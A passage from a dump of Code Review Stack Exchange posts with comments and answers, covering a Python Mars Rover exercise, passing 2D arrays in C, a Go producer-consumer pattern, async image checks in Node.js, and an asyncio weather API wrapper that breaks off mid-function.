"Score": "0",
"body": "Is there any particular reason you're using multithreading over multiprocessing here? Can you share some information on the current performance?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T22:37:33.697",
"Id": "464386",
"Score": "0",
"body": "@AMC no, there is not, do you suggest multiprocessing is a better choice? why?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T22:44:27.420",
"Id": "464387",
"Score": "0",
"body": "@AMC You can check the performance by changing this line `tigers = np.array([tiger for _ in range(50)])` increase 50 to higher values and see for yourself"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T22:57:46.903",
"Id": "464391",
"Score": "0",
"body": "_do you suggest multiprocessing is a better choice? why?_ Yes, in Python threads are almost always used for IO only, for a few different reasons. There are plenty resources on the subject, which can explain things far better than I can."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T09:45:56.020",
"Id": "236698",
"Score": "2",
"Tags": [
"python",
"performance",
"python-3.x",
"multithreading",
"image"
],
"Title": "Multi-threaded image convolution/pooling-python"
}
|
236698
|
<p>I have given the Mars Rover challenge a go in Python as DSA practice.</p>
<p>Here is the challenge:</p>
<blockquote>
<p>A rover’s position and location is represented by a combination of x and y co-ordinates and a letter representing one of the four cardinal compass points. The plateau is divided up into a grid to simplify navigation. An example position might be 0, 0, N, which means the rover is in the bottom left corner and facing North.</p>
<p>In order to control a rover , NASA sends a simple string of letters. The possible letters are ‘L’, ‘R’ and ‘M’. ‘L’ and ‘R’ makes the rover spin 90 degrees left or right respectively, without moving from its current spot. ‘M’ means move forward one grid point, and maintain the same heading._</p>
<p><strong>Test Input:</strong></p>
<p>5 5</p>
<p>1 2 N</p>
<p>LMLMLMLMM</p>
<p>3 3 E</p>
<p>MMRMMRMRRM</p>
<p><strong>Expected Output:</strong></p>
<p>1 3 N</p>
<p>5 1 E</p>
</blockquote>
<p>I am still relatively new to Python so know this is a bit basic - but I wondered if I could get some general feedback on my code for best coding practice?</p>
<pre><code>RIGHT_ROTATE = {
'N':'E',
'E':'S',
'S':'W',
'W':'N'
}
LEFT_ROTATE = {
'N':'W',
'W':'S',
'S':'E',
'E':'N'
}
class MarsRover():
def __init__(self, X, Y, direction):
self.X = X
self.Y = Y
self.direction = direction
def rotate_right(self):
self.direction = RIGHT_ROTATE[self.direction]
def rotate_left(self):
self.direction = LEFT_ROTATE[self.direction]
def move(self):
if self.direction == 'N':
self.Y += 1
elif self.direction == 'E':
self.X += 1
elif self.direction == 'S':
self.Y -= 1
elif self.direction == 'W':
self.X -= 1
def __str__(self):
return str(self.X) + " " + str(self.Y) + " " + self.direction
@classmethod
def get_rover_position(self):
position = input("Position:")
X = int(position[0])
Y = int(position[2])
direction = position[4]
return self(X, Y, direction)
class Plateau():
def __init__(self, height, width):
self.height = height
self.width = width
@classmethod
def get_plateau_size(self):
plateau_size = input("Plateau size:")
height = int(plateau_size[0])
width = int(plateau_size[2])
return self(height, width)
def main():
plateau = Plateau.get_plateau_size()
while True:
rover = MarsRover.get_rover_position()
current_command = 0
command = input("Please input directions for rover.")
command_length = len(command)
while current_command <= command_length - 1:
if command[current_command] == 'L':
rover.rotate_left()
current_command += 1
elif command[current_command] == 'R':
rover.rotate_right()
current_command += 1
elif command[current_command] == 'M':
rover.move()
current_command += 1
result = str(rover)
print(result)
if __name__ == '__main__':
main()
</code></pre>
|
[] |
[
{
"body": "<ul>\n<li>The <code>Plateau</code> class seems to be pretty unused:\n\n<ul>\n<li>It doesn't have actual behaviour, it only hosts the <code>get_plateau_size()</code> method.</li>\n<li>That method should have a first parameter named <code>cls</code> by convention. <code>self</code> is only used for instances, but here you get the class itself, not an instance.</li>\n<li>By that, it also returns a <code>Plateau</code>, because calling a class creates an instance. This is kind-of confusing, because I'd have expected some kind of size.</li>\n<li>Further, the user interaction (<code>input()</code>) was unexpected here. Don't hide such usage details in classes that make sense on their own.</li>\n<li>The call contains redundancy as well, <code>Plateau.get_plateau_size()</code> features the term \"plateau\" twice. Once would have been enough.</li>\n<li>Anyhow, the result isn't even used, so this whole class could be removed!</li>\n</ul></li>\n<li><code>LEFT_ROTATE</code> and <code>RIGHT_ROTATE</code> are both only used in a single function, no need to make them globals.</li>\n<li>Take a look at the <code>dataclass</code> decorator ( <a href=\"https://docs.python.org/3/library/dataclasses.html\" rel=\"nofollow noreferrer\">https://docs.python.org/3/library/dataclasses.html</a>), it could help you structure your classes a bit better. In particular, it would generate <code>__str__</code> for you.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T12:05:30.250",
"Id": "236707",
"ParentId": "236699",
"Score": "3"
}
},
{
"body": "<p>As a minor nit, I would suggest a final elif with a print \"bad command\". That way malformed input doesn't go unnoticed.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T06:55:24.173",
"Id": "236763",
"ParentId": "236699",
"Score": "3"
}
},
{
"body": "<h1>Input</h1>\n\n<pre><code>position = input(\"Position:\")\nX = int(position[0])\nY = int(position[2])\ndirection = position[4]\n</code></pre>\n\n<p>This input code is fragile. It assumes that the input will always be single digit X, Y locations, always separated by exactly 1 character. If the position is given as <code>12 15 N</code>, the code would fail converting a space to an integer. Even if that didn’t raise an exception, the X coordinate would be parsed as <code>1</code>, not <code>12</code>, and the direction would be <code>5</code> instead of <code>N</code>.</p>\n\n<p>Instead, you should <code>split()</code> the input into a list of “terms” based on the white space between them, and parse the first term as the <code>X</code> value, the second term as the <code>Y</code> value, and the third term as the <code>direction</code>:</p>\n\n<pre><code>terms = input(\"Position:\").split()\nX = int(terms[0])\nY = int(terms[1])\ndirection = terms[2]\n</code></pre>\n\n<h1>PEP-8</h1>\n\n<p>Variables in Python should be lowercase identifiers (<code>snake_case</code>). The variables and members <code>X</code> and <code>Y</code> should be named <code>x</code> and <code>y</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T05:01:15.283",
"Id": "236827",
"ParentId": "236699",
"Score": "3"
}
},
{
"body": "<h3>Classes</h3>\n\n<p>Typically, a class encapsulates the data and functionality of the thing the class is modeling. The class might have various attributes that describe the thing (position, heading), and some methods for actions the thing does (move). Here, the problem says that NASA sends a command string to the rover. The rover then processes the commands in the command string. So, it makes sense to put the command processing code in a method of the Rover class.</p>\n\n<h3>Plateau</h3>\n\n<p>In a more complicated simulation, a Plateau (or Terrain) class might make sense for simulating the environment. For example, it could model ground slope or wheel traction, so the rover would require more energy to go uphill or need to go slow on loose soil. In this simulator, it is not needed.</p>\n\n<h3>Looping</h3>\n\n<p>When processing the command string, it would be more pythonic to iterate over the string directly, rather than using an index into the command string. Instead of</p>\n\n<pre><code>while current_command <= command_length - 1:\n\n if command[current_command] == 'L':\n rover.rotate_left()\n current_command += 1\n\n ...\n</code></pre>\n\n<p>use</p>\n\n<pre><code>for letter in command:\n\n if letter == 'L':\n ...\n elif letter == 'M':\n ...\n</code></pre>\n\n<h3>I/O</h3>\n\n<p>It is generally a good idea to separate I/O from model code. For example, if you wanted to change the current code so the rover is controlled via a web interface, a RESTful API, or via intergalactic WiFi, the Rover class would need to be revised.</p>\n\n<h3>f-strings</h3>\n\n<p>f-strings makes is easy to format strings. Rather than </p>\n\n<pre><code>str(self.X) + \" \" + str(self.Y) + \" \" + self.direction\n</code></pre>\n\n<p>use</p>\n\n<pre><code>f\"{self.X} {self.Y} {self.direction}\"\n</code></pre>\n\n<p>All together, something like this:</p>\n\n<pre><code>RIGHT_ROTATE = {\n 'N':'E',\n 'E':'S',\n 'S':'W',\n 'W':'N'\n}\n\nLEFT_ROTATE = {\n 'N':'W',\n 'W':'S',\n 'S':'E',\n 'E':'N'\n}\n\n\nclass MarsRover():\n \"\"\"\n class to simulate a Mars rover.\n \"\"\"\n\n def __init__(self, x, y, heading):\n self.x = x\n self.y = y\n self.heading = heading\n\n\n def rotate_right(self):\n \"\"\"rotate rover 90 degees clockwise.\"\"\"\n self.direction = RIGHT_ROTATE[self.direction]\n\n\n def rotate_left(self):\n \"\"\"rotate rover 90 degees counter clockwise.\"\"\"\n self.direction = LEFT_ROTATE[self.direction]\n\n\n def move(self):\n \"\"\" moves the rover 1 grid square along current heading.\"\"\"\n\n if self.heading == 'N':\n self.y += 1\n elif self.heading == 'E':\n self.x += 1\n elif self.heading == 'S':\n self.y -= 1 \n elif self.heading == 'W':\n self.x -= 1\n\n\n def execute(self, command_string):\n \"\"\"parse and execute single letter commands in \n a command string.\n\n L/R - turn 90 degrees left/right\n M - move one grid square in the current heading.\n \"\"\"\n\n for command in command_string:\n if command == 'L':\n self.rotate_left()\n\n elif command == 'R':\n self.rotate_right()\n\n elif command == 'M':\n self.move()\n\n else:\n raise ValueError(\"Unrecognized command '{command\"}'.\"\n\n\n def __str__(self):\n return f\"{self.x} {self.y} {self.heading}\"\n\n\ndef main():\n # this should have some error checking\n coords = input(\"Enter x and y coordinate (e.g., 3 11): \")\n x, y = (int(s) for s in coords.strip().split())\n heading = input(\"Enter initial heading: \")\n\n rover = MarsRover(x, y, heading) \n\n while True:\n\n command_string = input(\"Please input directions for rover.\")\n if comment_string == '':\n break\n\n rover.execute(command_string) \n\n print(str(rover))\n\n\nif __name__ == '__main__':\n\n main()\n</code></pre>\n\n<p>One more thing:</p>\n\n<h3>enums</h3>\n\n<p>Instead of letters 'N', 'S', etc. consider using enums.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T07:48:29.943",
"Id": "236830",
"ParentId": "236699",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236830",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T10:00:24.350",
"Id": "236699",
"Score": "2",
"Tags": [
"python",
"algorithm"
],
"Title": "Mars Rover challenge in Python - general feedback"
}
|
236699
|
<p>I've been wondering for some time what the best way to pass a 2d array to functions is. I know that arrays, passed to functions, decay into pointers, so <code>int arr[25]</code> would become <code>int *arr</code> inside a function. The problem is with 2d arrays, <code>int arr[5][5]</code> would not become <code>int **arr</code>. Instead I've been taught to pass it like this: <code>int (*arr)[5]</code>. The problem with that is that the final square brackets need to have a size parameter inside and it needs to be known at compile time.</p>
<p>I've looked around and found <a href="https://stackoverflow.com/a/35657313/12361578">this answer</a> which, I believe, has the best solution. The idea is to pass the 2 dimensions separately and the location of the data. So, the function's signature would be like this:</p>
<p><code>void print(void *arr, size_t rows, size_t cols);</code></p>
<p>Then, we create a temporary array, which we can use conventionally, like this:</p>
<p><code>int (*temp)[cols] = (int (*)[cols]) arr;</code></p>
<p>I wrote some code to test this and it works.</p>
<pre><code>#include <stdio.h>
void fill(void * arr, size_t rows, size_t cols, int val);
void print(void * arr, size_t rows, size_t cols);
int main(void) {
size_t iArr = 5, jArr = 3;
int arr[iArr][jArr];
fill(arr, iArr, jArr, 0x45);
print(arr, iArr, jArr);
return 0;
}
void fill(void * arr, size_t rows, size_t cols, int val)
{
int (*temp)[cols] = (int (*)[cols])arr;
for(size_t i = 0; i < rows; i++)
{
for(size_t j = 0; j < cols; j++)
{
temp[i][j] = val;
}
}
arr = temp;
}
void print(void * arr, size_t rows, size_t cols)
{
int (*temp)[cols] = (int (*)[cols])arr;
for(size_t i = 0; i < rows; i++)
{
for(size_t j = 0; j < cols; j++)
{
printf("%3d ", temp[i][j]);
}
putchar('\n');
}
}
</code></pre>
<p>This can also be tested <a href="https://repl.it/@OlegPlachkov1/SquareSpryCleantech" rel="nofollow noreferrer">here</a>. I'm curious whether this will work always without errors. I tested it with all kinds of sizes and, again, no problem there. Can this be improved further? Could there be any edge cases where this breaks (checks for valid arguments or making sure the size passed doesn't exceed the stack size are omitted here, as that's not the point of this question).</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:59:21.440",
"Id": "464037",
"Score": "0",
"body": "\"Could there be any edge cases where this breaks\" --> Yes, when VLAs are not allowed (req'd in c99, optional C11, C17/18). Are you looking for a non-VLA solution?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T10:32:33.627",
"Id": "464132",
"Score": "0",
"body": "Tip: to the number of items in an array, use `size_t length = sizeof(array) / sizeof(array[0]); `"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T16:33:07.997",
"Id": "464155",
"Score": "0",
"body": "regarding: `void print(void *arr, size_t rows, size_t cols);` It is much easier (and less error prone) to use: `void print( size_t rows, size_t cols, int arr[ rows ][ cols ] )` Note: the compiler really needs to know the type of each element in the array"
}
] |
[
{
"body": "<p>One suggestion will be to put your parameters on a dedicated struct</p>\n\n<pre><code>struct my_array {\n void *data;\n size_t rows;\n size_t cols;\n}\n</code></pre>\n\n<p>So your functions will only have one parameter as input.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T15:37:20.813",
"Id": "464022",
"Score": "2",
"body": "This will come with lots of needless de-referencing though, and the type safety problem is still there."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:53:54.010",
"Id": "464035",
"Score": "1",
"body": "@Lundin \" lots of needless de-referencing \" --> doubt that - depends on code and compiler. Definitely agree on type safety issue."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T07:51:23.513",
"Id": "464109",
"Score": "0",
"body": "@chux-ReinstateMonica It's pretty much dead certain, when the struct is passed by pointer to a function. See for yourself: https://godbolt.org/z/XkR6tt. I tried every compiler & target available on Godbolt and the struct version gave less efficient code in every single case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T15:07:50.603",
"Id": "464145",
"Score": "0",
"body": "@Lundin Sample code demos 1 more de-referencing that passing by value. One does not equate to \"lots of needless de-referencing\" IMO. Code with lots of uses `* struct my_array . data` would be expected to de-reference once to form `* struct my_array . data``. Still assert depends on code and compiler. In the end, the use an extra level of direction remains linear performance change."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T15:25:32.137",
"Id": "236715",
"ParentId": "236710",
"Score": "4"
}
},
{
"body": "<p>Type-wise, it is ok to go from void pointers to array pointers and back. As long as the \"effective type\" is an int array of the specified size. Void pointers do however have non-existent type safety, so they should be avoided for that reason.</p>\n\n<p>The best way is rather to use an array and let the compiler \"adjust\" it to an array pointer between the lines:</p>\n\n<pre><code>void fill (size_t rows, size_t cols, int arr[rows][cols], int val);\n</code></pre>\n\n<p>The VLA syntax requires that <code>rows</code> and <code>cols</code> exist, so <code>arr</code> must be declared on the right side of them in the parameter list. Please note that this is still a pointer and <em>not</em> a whole VLA passed by value - we can't pass arrays by value in C.</p>\n\n<p>Fixed example:</p>\n\n<pre><code>#include <stdio.h>\n\nvoid fill(size_t rows, size_t cols, int arr[rows][cols], int val);\nvoid print(size_t rows, size_t cols, int arr[rows][cols]);\n\nint main(void) {\n size_t iArr = 5, jArr = 3;\n int arr[iArr][jArr];\n fill(iArr, jArr, arr, 0x45);\n print(iArr, jArr, arr);\n return 0;\n}\n\nvoid fill(size_t rows, size_t cols, int arr[rows][cols], int val)\n{\n for(size_t i = 0; i < rows; i++)\n {\n for(size_t j = 0; j < cols; j++)\n {\n arr[i][j] = val;\n }\n }\n}\n\nvoid print(size_t rows, size_t cols, int arr[rows][cols])\n{\n for(size_t i = 0; i < rows; i++)\n {\n for(size_t j = 0; j < cols; j++)\n {\n printf(\"%3d \", arr[i][j]);\n }\n putchar('\\n');\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T15:50:50.473",
"Id": "464024",
"Score": "0",
"body": "I thought you weren't allowed to put variables in square brackets of function signatures. This makes it a lot simpler."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:56:11.793",
"Id": "464036",
"Score": "0",
"body": "\"The VLA syntax requires that rows and cols exist, so arr must be declared on the right side of them in the parameter list.\" --> Yes, except that `int arr[rows][cols]` _could_ be `int arr[1][cols]` with `rows` on the right of `arr`. Yet what you coded is better."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T09:06:27.680",
"Id": "464117",
"Score": "1",
"body": "If you passa a `struct array_wrapper { array_type array[ARRAYLEN]; }`, you are effectively passing an array by value ;-) [Ok, is not VLA...]"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T09:11:40.490",
"Id": "464120",
"Score": "1",
"body": "@Astrinus I am aware. But doing so is horrible practice and not something we should teach."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T09:17:55.513",
"Id": "464234",
"Score": "0",
"body": "I agree, especially becaue I have seen passing arrays of 50k IEEE754 Binary64 values. By value. Every 5 ms. And the array changed every ten minutes or so."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T15:36:16.757",
"Id": "236718",
"ParentId": "236710",
"Score": "6"
}
},
{
"body": "<p><a href=\"https://en.wikipedia.org/wiki/Variable-length_array\" rel=\"nofollow noreferrer\">variable length arrays</a> are required in C99 and optional in C11, C17/18.</p>\n\n<p>To detect, something like</p>\n\n<pre><code>#if defined(__STDC__) && defined(__STDC_VERSION__) && \\\n (__STDC_VERSION__ == 199901 || (__STDC_VERSION__ >= 201112 && __STDC_NO_VLA__ != 1))\n #define VLA_OK 1\n#else\n #define VLA_OK 0\n#ednif\n</code></pre>\n\n<p>If code does not use a variable length arrays, code could take advantage that the address of the first element of the 2D array is <em>equivalent</em> to <code>&arr[0][0]</code> and that 2D arrays are continuous.</p>\n\n<pre><code>void fill(void *arr, size_t rows, size_t cols, int val) {\n int *a = arr;\n for(size_t i = 0; i < rows; i++) {\n for(size_t j = 0; j < cols; j++) {\n *a++ = val;\n }\n }\n}\n</code></pre>\n\n<p>Sample usage</p>\n\n<pre><code>#define IN 5\n#define JN 3\nint arr[IN][JN];\nfill(arr, IN, JN, 0x45);\n</code></pre>\n\n<p>This does lose type checking.<br>\nCode instead could oblige passing the address of the first <code>int</code></p>\n\n<pre><code>// v---v---- type checked\nvoid fill(int *arr, size_t rows, size_t cols, int val) {\n for(size_t i = 0; i < rows; i++) {\n for(size_t j = 0; j < cols; j++) {\n *arr++ = val;\n }\n }\n}\n</code></pre>\n\n<p>Sample usage</p>\n\n<pre><code>#define IN 5\n#define JN 3\nint arr[IN][JN];\nfill(&arr[0][0], IN, JN, 0x45);\n// or\nfill(arr[0], IN, JN, 0x45);\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T20:23:24.050",
"Id": "236741",
"ParentId": "236710",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236718",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T13:34:34.180",
"Id": "236710",
"Score": "4",
"Tags": [
"c",
"array"
],
"Title": "Best way to pass a 2d array to functions which size is unknown at compile time in pure C"
}
|
236710
|
<p>Anyone please review and share your feedback for the following code.
Multiple producers generate random integer numbers and a single consumer receives it to display only odd numbers out of it.</p>
<pre><code>package main
import (
"fmt"
"time"
"math/rand"
"sync"
)
var msgs = make(chan int)
var dummy = make(chan bool)
var wg sync.WaitGroup
func main() {
defer close(msgs)
defer close(dummy)
numberOfProducers := 10
go func() {
for i := 0; i < numberOfProducers ; i++ {
go produce() // Multiple producers
}
dummy <- true
}()
go consume() // Single consumer go routine
<- dummy
}
func produce() {
wg.Add(1)
msgs <- getRandomIntegerNumber()
}
// Single consumer
func consume () {
for {
msg := <-msgs
if ( msg % 2 != 0) {
fmt.Printf(" The number %d is odd \n", msg);
}
wg.Done()
}
}
func getRandomIntegerNumber() int {
rand.Seed(time.Now().UnixNano())
return rand.Intn(1000)
}
</code></pre>
|
[] |
[
{
"body": "<p>So currently the <code>WaitGroup</code> is not being used to wait for the producing to complete. This means that it is possible for this programme to run without producing any results as each <code>go produce()</code> is done in it's own go routine so <code>true</code> can be sent immediately to <code>dummy</code> if the main go routine gets all the CPU time thus main exits with nothing being printed.</p>\n\n<p>Personally I would use the WaitGroup to do the waiting and then <code>close</code> the <code>msgs</code> channel to indicate to the <code>consume</code> that it is done and use a further WaitGroup to then indicate to main that consume is done.</p>\n\n<p>In addition to the concurrency parts, I also wouldn't use global variables but instead pass them into the functions that use them. Putting this together then you get:</p>\n\n<pre><code>package main\n\nimport (\n \"fmt\"\n \"math/rand\"\n \"sync\"\n \"time\"\n)\n\nfunc main() {\n msgs := make(chan int)\n\n // Start the consuming go routine before producing so that we can then just wait for the producing\n // to complete on the main go routine rather than having to have a separate go routine to wait to\n // close the channel.\n var consumeWG sync.WaitGroup\n consumeWG.Add(1)\n go consume(msgs, &consumeWG)\n\n var produceWG sync.WaitGroup\n numberOfProducers := 10\n for i := 0; i < numberOfProducers; i++ {\n produceWG.Add(1)\n go produce(msgs, &produceWG) // Multiple producers\n }\n\n // Wait for producing to complete then tell the consumer by closing the channel.\n produceWG.Wait()\n close(msgs)\n\n consumeWG.Wait()\n}\n\nfunc produce(msgs chan int, wg *sync.WaitGroup) {\n defer wg.Done()\n msgs <- getRandomIntegerNumber()\n}\n\n// Single consumer\nfunc consume(msgs chan int, wg *sync.WaitGroup) {\n // Range of msgs, this will consume all messages in the channel then exit when the channel is closed.\n // This provides communication between the go routines when completion has happened as well as not\n // leaking the consuming go routine as would happen with an forever loop.\n for msg := range msgs {\n if msg%2 != 0 {\n fmt.Printf(\" The number %d is odd \\n\", msg)\n }\n }\n wg.Done()\n}\n\nfunc getRandomIntegerNumber() int {\n rand.Seed(time.Now().UnixNano())\n return rand.Intn(1000)\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-10T19:51:23.310",
"Id": "237016",
"ParentId": "236711",
"Score": "2"
}
},
{
"body": "<ul>\n<li>First thing I found weird was the use of globals for the channels. This is generally a bad idea and rarely necessary.</li>\n<li>Then, in <code>main()</code> there is this <code>dummy</code> channel. It seems to be used as synchronization mechanism without any actual info transported through it. However, it's unclear what the intention is. As it stands, you only make sure that the goroutines with the producers were started before the program is allowed to terminate. What is the intention?</li>\n<li>Further, I wonder why you start the producers from a goroutine and not from a simple loop in <code>main()</code>. This may be required for something, but it is unclear to the casual reader of your program. That reader could be you in a few weeks when you forgot why you did that. Documenting the \"why?\" of your programs is the most valuable information.</li>\n<li>The WaitGroup <code>wg</code>, what is that for? You have added another synchronization mechanism, but it's similarly unclear what that is used for.</li>\n<li>You seed the RNG every time you retrieve a random number. That's bad, in particular since the behaviour of the seed value you use is very easily predictable. Seed it only once on program start.</li>\n<li>You usually only need one channel, shared between producers and consumer. I'm not sure if your requirements imply some other synchronization or perhaps a \"finished\" detection. You could perhaps solve that by closing the channel or sending a signal value, without adding more parts and making things even more complex.</li>\n</ul>\n\n<p>Note: Your requirements are pretty unclear. Getting random numbers in a particular order is unlikely, but maybe that's just the example. If you provided more info what is produced and consumed, people could give you a better suggestion.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-10T21:42:52.383",
"Id": "237028",
"ParentId": "236711",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T13:53:00.903",
"Id": "236711",
"Score": "3",
"Tags": [
"go",
"concurrency"
],
"Title": "Simple multiple producer and single consumer concurrency pattern"
}
|
236711
|
<p>I am trying to check that a list of files are all images using functional programming.</p>
<p>Some actions I go through are asynchronous, so I have to wait for them to completely finish before passing to a new one.</p>
<pre><code>const filteredFiles = ['favicon.ico', 'site.webmanifest', 'browserconfig.xml'];
const fileBuffers = await Promise.all(
directory.files
.filter(file => !filteredFiles.includes(file.path))
// get a buffer containing the image file
.map(async file => await file.buffer())
)
const everyFileIsImage = (await Promise.all(
// check that this buffer has correct mime type
fileBuffers.map(async buffer => await this.bufferIsImageFile(buffer))
)).every(isImage => isImage);
if (!everyFileIsImage) {
throw new BadRequestException(`All files except ${filteredFiles} must be images`);
}
</code></pre>
<p>Here is the <code>bufferIsImageFile</code> method which is using the <code>file-type</code> library</p>
<pre><code>private async bufferIsImageFile(buffer) {
const type = await FileType.fromBuffer(buffer);
return type !== undefined && type.mime.startsWith('image/');
}
</code></pre>
<p>I am not all satisfied by the piece of code. But I'm also not sure on how it could be improved.</p>
<p>What I'd like the most would be to avoid using those <code>Promise.all</code>, but is it even possible?</p>
<p>Maybe should I use a <code>for</code> loop instead?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T14:48:25.583",
"Id": "464017",
"Score": "0",
"body": "It may not be necesary, but for the sake of completeness And good quality review, please include all relevant code, ie the `bufferIsImageFile` method."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T14:50:58.473",
"Id": "464018",
"Score": "0",
"body": "Alright, I just added it"
}
] |
[
{
"body": "<blockquote>\n <p>Some actions I go through are asynchronous, so I have to wait for them to completely finish before passing to a new one.</p>\n</blockquote>\n\n<p>That's right. However, your interpretation of that statement is wrong.</p>\n\n<p>The actions need to be serialized, but only on a per file basis.</p>\n\n<pre><code>const buffer = await file.buffer();\nreturn await this.bufferIsImageFile(buffer);\n</code></pre>\n\n<h1>Concurrency</h1>\n\n<p>You can further proceed with <code>Promise.all</code> as you did, but it has a few caveats.</p>\n\n<ul>\n<li>Since any file that is not image means you should return false, not caring about the others. And so you should be able to cancel all the other file scans once you find the first file that is not image. Native promises are not cancelable but I am sure there are user land implementations.</li>\n<li>You have no control about the number of files consumers will ask for. If they ask for a lot of files, you start a lot of async tasks and this may consume a lot of memory. You may want to only start a limited amount of tasks at a time and add more once some finishes.</li>\n</ul>\n\n<p>The latter can be solved using <code>Promise.race</code>, but the actual implementation is not that trivial and so I will not write this for you :)</p>\n\n<p>Maybe this SO question might be of help here:\n<a href=\"https://stackoverflow.com/questions/42896456/get-which-promise-completed-in-promise-race\">https://stackoverflow.com/questions/42896456/get-which-promise-completed-in-promise-race</a></p>\n\n<p>Or you may want to use some promises wrapper like bluebird which also provides cancellation mechanism (<a href=\"http://bluebirdjs.com\" rel=\"nofollow noreferrer\">http://bluebirdjs.com</a>)</p>\n\n<h1>Filtering</h1>\n\n<p>The <code>filteredFiles</code> list seems to me too hard coded (but it all seems like you pulled it together just for this review, in which case you may consider this irrelevant). </p>\n\n<p>It should be injected to the method somehow, your options include:</p>\n\n<ul>\n<li>method argument (thats awkward tho)</li>\n<li>class property injected through constructor</li>\n<li>decorator pattern (<a href=\"https://lmgtfy.com/?q=decorator+pattern+nodejs\" rel=\"nofollow noreferrer\">https://lmgtfy.com/?q=decorator+pattern+nodejs</a>)</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T15:51:10.327",
"Id": "236719",
"ParentId": "236713",
"Score": "2"
}
},
{
"body": "<ul>\n<li>Consider using Set for filteredFiles. I know it is a small array to iterates through for calls to Array.includes(), but it is just general good practice IMO to use an appropriate data structure for a key lookup type use case. </li>\n<li>asynchronous functions are not supported inside map() though in this case it doesn’t really matter as you are just mapping an array of promises. But in the future just know that if your are deepening on await in such a function to work as expected, it won’t. </li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T01:27:45.717",
"Id": "236758",
"ParentId": "236713",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T14:31:20.717",
"Id": "236713",
"Score": "2",
"Tags": [
"array",
"node.js"
],
"Title": "Asynchronous array methods chaining"
}
|
236713
|
<p>I want understand how to correctly structure a functional asyncio-based program.</p>
<p>The code below wraps two external APIs to provide the client a simple <code>send_weather()</code> function. Its structure reflects my current understanding of ansynchronous programming and the <em>very</em> little I've grasped of functional programming.</p>
<pre class="lang-py prettyprint-override"><code>import asyncio
from functools import partial
import aiohttp
SUCCESSFUL_PUSH = {'deleted': True} # Value specific to fake push service
async def _post(headers, url, data):
async with aiohttp.ClientSession(headers=headers) as session:
async with session.post(url, json=data, verify_ssl=False) as response:
return await response.json()
async def _get(headers, url):
async with aiohttp.ClientSession(headers=headers) as session:
async with session.get(url, verify_ssl=False) as response:
return await response.json()
def make_comms(headers):
get = partial(_get, headers)
post = partial(_post, headers)
return get, post
async def _notify(post, message, user):
url = f"https://api.keen.io/dev/null?user={user}" # Fake push service
return await post(url, message)
async def _find_city(get, city):
url = f"https://www.metaweather.com/api/location/search?query={city}"
obj_list = await get(url)
if obj_list:
return obj_list[0]
return None
async def _city_weather(get, city_id):
url = f"https://www.metaweather.com/api/location/{city_id}"
return await get(url)
async def _send_weather(get, post, city, user):
city_data = await _find_city(get, city)
if city_data is None:
print("Could not find city")
return
forecast_data = await _city_weather(get, city_data["woeid"])
weather = forecast_data["consolidated_weather"][0]["weather_state_name"]
message = f"Current weather in {city}: {weather}"
reply = await _notify(post, {"message": message}, user)
if reply == SUCCESSFUL_PUSH:
print(f"Current weather in {city}: {weather}")
else:
